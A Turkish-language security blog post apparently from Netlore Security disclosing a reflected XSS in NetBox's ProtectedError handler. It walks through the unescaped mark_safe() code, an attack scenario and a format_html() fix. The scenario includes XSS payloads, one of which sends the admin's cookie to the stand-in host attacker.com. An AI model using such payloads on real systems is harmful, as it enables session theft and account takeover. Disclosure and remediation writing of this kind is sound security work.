Ana Sayfa
BlogBize Ulaşın
Blog'a Dön
Zafiyet Araştırması

CVE-2025-69848: NetBox ProtectedError Reflected XSS Zafiyeti

Alkım Coşkun - Netlore Security
10 dk okuma

Özet

Netlore Security araştırma ekibi olarak, NetBox platformunda kritik bir Reflected XSS zafiyeti tespit ettik. NetBox, dünya genelinde binlerce kuruluşun ağ altyapısını yönetmek için kullandığı açık kaynaklı bir IPAM/DCIM platformu. GitHub'da 19.7 binden fazla yıldıza ve 386 katkıda bulunana sahip bu proje, veri merkezlerinden telekom operatörlerine kadar geniş bir kullanıcı kitlesine hitap ediyor.

Keşfettiğimiz zafiyet, utilities/error_handlers.py dosyasındaki handle_protectederror fonksiyonunda yer alıyor. Silme işlemi korumalı ilişkiler nedeniyle başarısız olduğunda, nesne isimleri HTML hata mesajına herhangi bir sanitizasyon yapılmadan ekleniyor. Bu durum, düşük yetkili bir kullanıcının yönetici oturumunda JavaScript çalıştırmasına olanak tanıyor.

BilgiDetay
CVE IDCVE-2025-69848
CVSS 3.15.4 (Medium) — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CWECWE-79: Improper Neutralization of Input During Web Page Generation
Etkilenen SürümlerNetBox 2.11.0 — 3.7.x
Etkilenen Bileşenutilities/error_handlers.py
KeşfedenAlkım Coşkun — Netlore Security

Zafiyetin Teknik Analizi

NetBox, Django framework üzerine inşa edilmiş bir Python uygulaması. Django'nun şablon motoru varsayılan olarak tüm değişkenleri otomatik olarak escape eder — bu, XSS'e karşı güçlü bir koruma katmanı sağlar. Ancak geliştiriciler mark_safe() fonksiyonunu kullandığında, Django'ya "bu içerik güvenli, escape etme" mesajı verilmiş olur.

Sorun tam da burada başlıyor. handle_protectederror fonksiyonuna bakalım:

from django.utils.html import escape
from django.utils.safestring import mark_safe

def handle_protectederror(obj_list, request, e):
    protected_objects = list(e.protected_objects)
    protected_count = len(protected_objects) if len(protected_objects) <= 50 else 'More than 50'
    err_message = f"Unable to delete <strong>{', '.join(str(obj) for obj in obj_list)}</strong>. " \
                  f"{protected_count} dependent objects were found: "

    dependent_objects = []
    for dependent in protected_objects[:50]:
        if hasattr(dependent, 'get_absolute_url'):
            dependent_objects.append(
                f'<a href="{dependent.get_absolute_url()}">{escape(dependent)}</a>'
            )
        else:
            dependent_objects.append(str(dependent))
    err_message += ', '.join(dependent_objects)

    messages.error(request, mark_safe(err_message))

Kodu dikkatli incelediğinizde ilginç bir asimetri göreceksiniz: bağımlı nesneler (dependent) escape() fonksiyonu ile sanitize ediliyor, ancak silinmeye çalışılan ana nesneler (obj_list) doğrudan str(obj) ile string'e dönüştürülüp HTML içine yerleştiriliyor. Ardından tüm mesaj mark_safe() ile işaretleniyor.

Yani Django'nun auto-escaping mekanizması bu noktada tamamen devre dışı bırakılmış oluyor. Nesne ismi içindeki HTML ve JavaScript tagları olduğu gibi render ediliyor.

Saldırı Senaryosu

Bu zafiyetin istismar edilmesi şu adımlarla gerçekleşiyor:

1. Kötü amaçlı nesne oluşturma: Saldırgan, NetBox'ta düşük yetkili bir hesapla (nesne oluşturabilecek kadar yeterli) oturum açar ve isim alanına XSS payload'u içeren bir nesne oluşturur:

<img src=x onerror=alert(document.cookie)>

Bu isimle örneğin bir site, device veya başka bir NetBox nesnesi oluşturulabilir.

2. Korumalı ilişki oluşturma: Oluşturulan nesneye bağımlı nesneler eklenir (örneğin bir device'a interface veya kablo bağlantısı). Django'nun PROTECT mekanizması, bağımlı nesneleri olan bir nesnenin silinmesini engeller.

3. Silme işlemini tetikleme: Yönetici kullanıcı bu nesneyi silmeye çalıştığında, Django ProtectedError fırlatır. NetBox bu hatayı handle_protectederror fonksiyonu ile işler ve nesne ismini escape etmeden hata mesajına ekler.

4. XSS tetiklenmesi: Hata mesajı yöneticinin tarayıcısında render edildiğinde, nesne ismindeki JavaScript kodu çalışır. Saldırgan artık yöneticinin oturumu bağlamında istediği işlemi gerçekleştirebilir.

Daha sofistike bir payload ile oturum çalma örneği:

<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

Etki Değerlendirmesi

NetBox tipik olarak ağ mühendisleri ve sistem yöneticileri tarafından kullanılır — yani genellikle yüksek yetkili kullanıcılar. Zafiyetin istismar edilmesi durumunda:

  • Oturum çalma: Yönetici cookie'leri saldırgana iletilebilir
  • Yetki yükseltme: Saldırgan, yönetici oturumunu ele geçirerek tam kontrol elde edebilir
  • Veri sızdırma: IPAM verileri (IP adresleri, ağ topolojisi, VLAN yapıları) dışarı aktarılabilir
  • Altyapı manipülasyonu: Ağ yapılandırma verileri değiştirilebilir, bu da operasyonel sorunlara yol açabilir

CVSS skoru 5.4 (Medium) olarak değerlendirilmiş. Saldırının başarılı olması için kullanıcı etkileşimi (silme işlemini tetikleme) gerekiyor. Ancak IPAM platformlarının kritik altyapı yönetimindeki rolü düşünüldüğünde gerçek dünya etkisi bu skorun ötesine geçebilir.

Kök Neden: mark_safe() Anti-Pattern

Bu zafiyet, Django uygulamalarında sıkça karşılaşılan bir anti-pattern'in sonucu. mark_safe() fonksiyonu, geliştiricilere HTML içeriği oluşturma esnekliği sağlar ancak beraberinde büyük bir sorumluluk getirir: işaretlenen string içindeki her dinamik değerin manuel olarak escape edilmesi gerekir.

Doğru implementasyon şu şekilde olmalıydı:

from django.utils.html import escape, format_html

err_message = format_html(
    "Unable to delete <strong>{}</strong>. {} dependent objects were found: ",
    ', '.join(str(obj) for obj in obj_list),
    protected_count
)

Django'nun format_html() fonksiyonu, str.format() ile aynı sözdizimini kullanır ancak tüm argümanları otomatik olarak escape eder. Bu, mark_safe() ile manuel string birleştirmeye kıyasla çok daha güvenli bir yaklaşımdır.

Öneriler

NetBox kullanıcıları için:

  • NetBox'u 3.7.x sonrası güncel sürüme yükseltin
  • Web arayüzüne erişimi güvenilir ağlarla sınırlayın
  • Content Security Policy (CSP) header'ları uygulayarak script çalıştırmayı kısıtlayın
  • Nesne oluşturma yetkilerini minimum gerekli kullanıcılarla sınırlayın
  • WAF kuralları ile XSS payload'larını engelleyin

Django geliştiricileri için:

  • mark_safe() kullanımını minimumda tutun, mümkünse format_html() tercih edin
  • Kullanıcı girdisi içeren tüm dinamik değerleri escape() ile sanitize edin
  • Code review süreçlerinde mark_safe() kullanımlarını güvenlik açısından özellikle denetleyin

Sorumlu Açıklama Süreci

Bu zafiyet, Netlore Security'nin sorumlu açıklama (responsible disclosure) politikası çerçevesinde raporlanmıştır. Zafiyet tespit edildikten sonra üretici bilgilendirilmiş ve CVE-2025-69848 kimliği atanmıştır.

Netlore Security olarak, açık kaynak projelerin güvenliğine katkıda bulunmayı önemli bir sorumluluk olarak görüyoruz. Güvenlik araştırmalarımız ve sızma testi hizmetlerimiz hakkında detaylı bilgi almak için bizimle iletişime geçebilirsiniz.

Etiketler:CVE-2025-69848NetBoxXSSReflected XSSDjangoZero-DayVulnerability ResearchIPAMCWE-79

Siber Güvenlik Danışmanlığına İhtiyacınız mı Var?

Uzman ekibimiz, kurumsal altyapınızın güvenliğini sağlamak için kapsamlı siber güvenlik hizmetleri sunmaktadır. Sızma testleri, güvenlik denetimleri ve danışmanlık hizmetlerimiz hakkında detaylı bilgi almak için bizimle iletişime geçin.

İletişime Geç

Çerez Kullanımı

Web sitemizde deneyiminizi geliştirmek için çerezler kullanıyoruz. Devam ederek çerez kullanımını kabul etmiş olursunuz.

Çerez Politikası